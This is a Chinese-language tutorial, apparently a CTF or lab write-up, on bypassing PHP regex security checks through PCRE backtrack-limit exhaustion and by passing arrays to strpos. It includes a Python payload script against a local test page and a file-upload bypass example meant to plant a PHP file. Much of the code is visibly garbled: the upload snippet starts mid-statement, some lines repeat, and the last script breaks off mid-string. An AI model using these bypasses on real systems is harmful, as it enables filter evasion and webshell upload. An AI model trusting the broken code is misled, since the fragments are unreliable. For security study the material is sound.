PHP利用PCRE回溯次数限制绕过某些安全限制实战案例

回溯绕过步骤 ：

1、运行结果： 可见无法匹配

2、尝试匹配：依旧无法匹配

3、再次尝试：发现拿到匹配结果

原因：

此时greeting传递的是数组，元素是123，而 strpos验证的是字符串

由上可见：在strpos这个对字符串处理的函数中传递数组，那么它将会返回一个NULL

将strpos返回的值NULL与 null !== false 进行对比，如果为真，则进行下去，为假则结束。

当只有一个 = bool(false)，返回值为false,程序执行结束​​​

当有两个 == 时，返回值为true,程序继续执行

知识点补充：

PHP中 比较 0、false、null，'' "

松散比较：使用两个等号 == 比较，只比较值，不比较类型。 严格比较：用三个等号 === 比较，除了比较值，也比较类型。 == 在进行比较的时候，会先将字符串类型转化成相同，再比较

0 == false: bool(true)0 === false: bool(false)0 == null: bool(true)0 === null: bool(false)false == null: bool(true)false === null: bool(false)"0" == false: bool(true)"0" === false: bool(false)"0" == null: bool(false)"0" === null: bool(false)"" == false: bool(true)"" === false: bool(false)"" == null: bool(true)"" === null: bool(false)

总结：

1、绕过该正则

插入代码：

greeting[]=123;

 此时绕过第一个正则

接着会返回

  null !== false;

根据严格不相等原则，此时返回结果是true，因此，代码将会继续执行

例题二

​​

思路： 只要将if(!areyouok($greeting))为假，并且含有‘Merry Christmas’字符，回溯一百万次即可绕过

1、利用python语言编写回溯绕过一百万次的脚本

from requests import post payload = {    'greeting' : 'Merry Christmas' + 'a' * 1000001}url = 'http://127.0.0.1/xss_location/dem04.php'res = post(url ,data=payload)

回溯超过一百万次后，绕过正则，此时if(!areyouok($greeting))为假，可见最终打印出'Merry Christmas'，由此可见绕过完成

回溯过程模拟：

正则回溯实例

例题三

文件上传漏洞

].*/is', $data);}​if(empty($_FILES)) {    die(show_source(__FILE__));}​$user_dir = md5($_SERVER['REMOTE_ADDR']); $data = file_get_contents($_FILES['file']['tmp_name']);if (is_php($data)) {     exit("bad request");} else {    @mkdir($user_dir, 0755);     $path = $user_dir . '/' . 'oupeng.php';     //利用move_uploaded_file将临时文件，复制到$path    move_uploaded_file($_FILES['file']['tmp_name'], $path);​    header("Location: $path", true, 303); } ?>

1、编写文件上传脚本

";  //设置输出为格式化输出var_dump($_FILES);

";  //设置输出为格式化输出var_dump($_FILES);

from requests import post files = {    'file' : r'